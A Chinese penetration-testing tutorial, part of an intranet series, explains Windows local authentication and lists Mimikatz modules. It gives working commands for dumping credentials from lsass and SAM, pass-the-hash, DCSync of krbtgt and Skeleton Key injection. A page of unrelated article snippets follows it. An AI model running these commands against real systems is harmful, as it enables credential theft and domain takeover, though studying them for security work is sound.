内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
内网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
Mimikatz介绍和使用
Windwso本地认证
在介绍Mimikatz之前我们先来回顾一下Windows密码的本地认证流程
本地认证的流程
Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功
SAM文件是位于 %SystemRoot%\system32\config\ 目录下的,用于储存本地所有用户的凭证信息,但是这并不代表着你可以随意去查看系统密码。
Windows本地认证流程如下:
首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登陆界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库进行比较认证
Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出
LSASS(即lsass.exe):用于微软Windows系统的安全机制,它用于本地安全和登陆策略
本地认证中用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对,我们使用mimikatz来获取的明文密码,便是在这个进程中读取到的
所以,目前我们知道两种读取密码的方式,一是从sam(密文)文件中读取,还有一种就是从lsass.exe(明文)进程中读取
对于从sam(密文)文件中读取密码有两种方式:一种是在线读取,还有一种是离线读取
从lsass.exe(明文)进程中读取密码也有两种方式:一种是在线读取,还有一种是离线读取
Mimikatz介绍
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,mimikatz可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证
项目地址:Mimikatz下载
模块命令如下:
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出
Mimikatz常用命令
CRYPTO::Certificates – 列出/导出凭证。
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。
KERBEROS::PTT – 票证传递。
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个lsass.dmp的转储文件中导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数如:“/name:krbtgt”。
LSADUMP::SAM ‐ 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安
全帐户管理器(SAM)数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。
LSADUMP::Trust ‐ 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或林转储信任密钥(密码)
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID)。
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。
SEKURLSA::Ekeys – 列出 Kerberos 密钥
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over‐Pass‐the‐Hash 的实际过程就是传递了相关的 Key(s))。
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。
TOKEN::List – 列出系统中的所有令牌。
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。
接下来看几个常用的模块
privilege模块
privilege::debug #提升为debug权限
sekurlsa模块
sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
sekurlsa::msv #获取HASH (LM,NTLM)
sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos #假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg #通过tspkg读取明文密码
sekurlsa::livessp #通过livessp 读取明文密码
sekurlsa::ssp #通过ssp 读取明文密码
sekurlsa::logonPasswords #通过以上各种方法读取明文密码
sekurlsa::process #将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file #这个模块可以读取已经打包的内存信息
sekurlsa::pth #哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx
sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx
process模块
process::list #列出进程列表
process::exports #导出进程列表
process::imports #导入列表
process::start #开始一个进程
process::stop #停止一个程序
process::suspend #冻结一个进程
process::resume #从冻结中恢复
process::run notepad #运行一个程序
process::runp #以SYSTEM系统权限打开一个新的mimikatz窗口
kerberos模块
kerberos::list #列出系统中的票据
kerberos::tgt #系统中的票据
kerberos::purge #导入票据到系统中
kerberos::ptc #票据路径
lsadump模块
(在域控上执行):查看域hack.com内指定用户krbrtgt的详细信息,包括NTLM哈希等
lsadump::dcsync /domain:hack.com /user:krbrtgt
(在域控上执行):读取所有域用户的哈希
lsadump::lsa /patch
从sam.hive和system.hive文件中获得NTLM Hash:
lsadump::sam /sam:sam.hive /system:system.hive
从本地SAM文件中读取密码哈希:
token::elevate
lsadump::sam
相关文章:

内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…...
Nginx if的使用教程
if指令该指令用来支持条件判断,并根据条件判断结果选择不同的Nginx配置。语法if (condition){...}默认值—位置server、locationcondition为判定条件,可以支持以下写法:1. 变量名。如果变量名对应的值为空字符串或"0",i…...

备考蓝桥杯【快速排序和归并排序】
🌹作者:云小逸 📝个人主页:云小逸的主页 📝Github:云小逸的Github 🤟motto:要敢于一个人默默的面对自己,强大自己才是核心。不要等到什么都没有了,才下定决心去做。种一颗树,最好的时间是十年前…...

Taro使用微信OCR插件无法调用onSuccess回调问题
Taro使用微信插件无法调用onSuccess回调问题小程序后台添加插件在开放社区购买相应的套餐详细步骤1.在app.config.js中添加如下代码2.在页面的page.config.js添加插件3.使用ocr-navigator识别身份证小程序后台添加插件 在开放社区购买相应的套餐 购买地址 详细步骤 1.在app.…...

【Java】代码块的细节你搞懂了吗(基础知识七)
希望像唠嗑一样,one step one futher。 目录 (1)代码块的应用场景 (2)代码块的细节 1.static 代码块只加载一次 2.当调用类的静态成员时,类会加载 3. 使用类的静态成员时,static代码块会被执…...

设计模式C++实现12:抽象工厂模式
参考大话设计模式; 详细内容参见大话设计模式一书第十五章,该书使用C#实现,本实验通过C语言实现。 抽象工厂模式(Abstract Factory),提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们…...

目标检测论文阅读:GraphFPN算法笔记
标题:GraphFPN: Graph Feature Pyramid Network for Object Detection 会议:ICCV2021 论文地址:https://ieeexplore.ieee.org/document/9710561/ Abstract 特征金字塔已经被证明在需要多尺度特征的图像理解任务中是强大的。SOTA的多尺度特征…...

实测2023款哪吒U-II,智驾功能对女司机很友好
最近,我们受邀试驾了2023款哪吒U-II。这是一款A级新能源SUV,是哪吒U的改款车型。哪吒U系列自2020年3月上市到2023年1月,累计销售数量达76688台,也因此被称为15万级智能天花板。2023款哪吒U-II的一大亮点是:针对以往哪吒…...

Python自动化测试【软件测试最全教程(附笔记、学习路线)】,看完即就业
最近看到很多粉丝在后台私信我,叫我做一期Python自动化测试的教程,其实关于这个问题,我也早就在着手准备了,我录制了一整套完整的Python自动化测试的教程,上传到网盘里了,大家有兴趣的可以去文末交流群免费…...

2023/2/13总结
今天主要学习了哈夫曼树。 哈夫曼树 哈夫曼树是二叉树的一种,它是一种WPL最优二叉树。 叶子结点(也称叶节点):指的是自己下面不再连接有节点的节点(即末端),称为叶子节点(又称为终…...
webSock前端
1.什么是webSocket WebSocket是一种在单个TCP连接上进行全双工通信的协议。允许服务端主动向客户端推送数据。 2.如何使用webSocket WebSocket 构造函数WebSocket 对象作为一个构造函数,用于新建 WebSocket 实例。 代码如下: let ws = new WebSocket(网址); 2.websock事件: …...
AcWing 3956. 截断数组(每日一题)
AcWing 3956. 截断数组 题目描述 给定一个长度为 nnn 的数组 a1,a2,…,ana_1, a_2, …, a_na1,a2,…,an 。 现在,要将该数组从中间截断,得到三个非空子数组。 要求,三个子数组内各元素之和都相等。 请问,共有多少种不同…...

Android 一体机研发之修改系统设置————屏幕亮度
Android 一体机研发之修改系统设置————屏幕亮度 Android 一体机研发之修改系统设置————声音 Android 一体机研发之修改系统设置————自动锁屏 前言 最近工作略微有点儿空闲,抽空给大家总结一下:近期一直搞得一体机app研发,适用…...
C++通用算法
1.概述根据名字就知道如何使用相关算法,比如copy函数,就是复制的意思,它需要一个范围,以及要复制的位置copy(begin, end, container_begin);#include <iostream> #include<vector> #include<algorithm> #includ…...
Springboot停机方式
1. 介绍 简单的说,就是向应用进程发出停止指令之后,能保证正在执行的业务操作不受影响,直到操作运行完毕之后再停止服务。应用程序接收到停止指令之后,会进行如下操作: 1.停止接收新的访问请求 2.正在处理的请求&…...
Linux perf_event_open 简介
文章目录前言一、简介二、struct perf_event_attr2.1 type2.2 size2.3 config2.3.1 PERF_TYPE_HARDWARE2.3.2 PERF_TYPE_SOFTWARE2.3.3 PERF_TYPE_TRACEPOINT2.3.4 PERF_TYPE_HW_CACHE2.3.5 其他类型三、sample相关参数3.1 sample_period3.2 sample_freq3.3 sample_type四、其他…...
Java给定两组起止日期,求交集
/*** 判断2个时间段是否有重叠(交集)* param startDate1 时间段1开始时间戳* param endDate1 时间段1结束时间戳* param startDate2 时间段2开始时间戳* param endDate2 时间段2结束时间戳* param isStrict 是否严格重叠,true 严格࿰…...

数组的复制与二维数组的用法
今天学习的主要内容有 数组的复制 数组的复制 利用循环进行数组的复制 import java.util.Arrays; public class Main3 {public static void main(String[] args) {int []arr new int[]{1,2,3,4,5,6};int []arr1 new int[arr.length];for (int i 0; i < arr.length; i…...
JS判断两个table数据是否完全相等(判断两个数组对象是否完全相等)
需求 现有的table为tableA,有多个要做对比的table为一个数组 CompareArray 涉及到的问题 外层是数组,但是内部数据都是对象,对象属性名的排序不一样外层数组也涉及到 顺序不一样的问题 思路 对compareArray做长度筛选 filter 得到 同长度…...

关于小程序,你想知道的这些
近年来,各大平台纷纷上架小程序,迎来了小程序的爆发式增长。今天就来跟大家简单分享一下小程序基本的运行机制和安全机制。 小程序的由来 在小程序没有出来之前,最初微信WebView逐渐成为移动web重要入口,微信发布了一整套网页开…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...
多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验
一、多模态商品数据接口的技术架构 (一)多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如,当用户上传一张“蓝色连衣裙”的图片时,接口可自动提取图像中的颜色(RGB值&…...
第25节 Node.js 断言测试
Node.js的assert模块主要用于编写程序的单元测试时使用,通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试,通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...

GC1808高性能24位立体声音频ADC芯片解析
1. 芯片概述 GC1808是一款24位立体声音频模数转换器(ADC),支持8kHz~96kHz采样率,集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器,适用于高保真音频采集场景。 2. 核心特性 高精度:24位分辨率,…...

有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
MySQL 索引底层结构揭秘:B-Tree 与 B+Tree 的区别与应用
文章目录 一、背景知识:什么是 B-Tree 和 BTree? B-Tree(平衡多路查找树) BTree(B-Tree 的变种) 二、结构对比:一张图看懂 三、为什么 MySQL InnoDB 选择 BTree? 1. 范围查询更快 2…...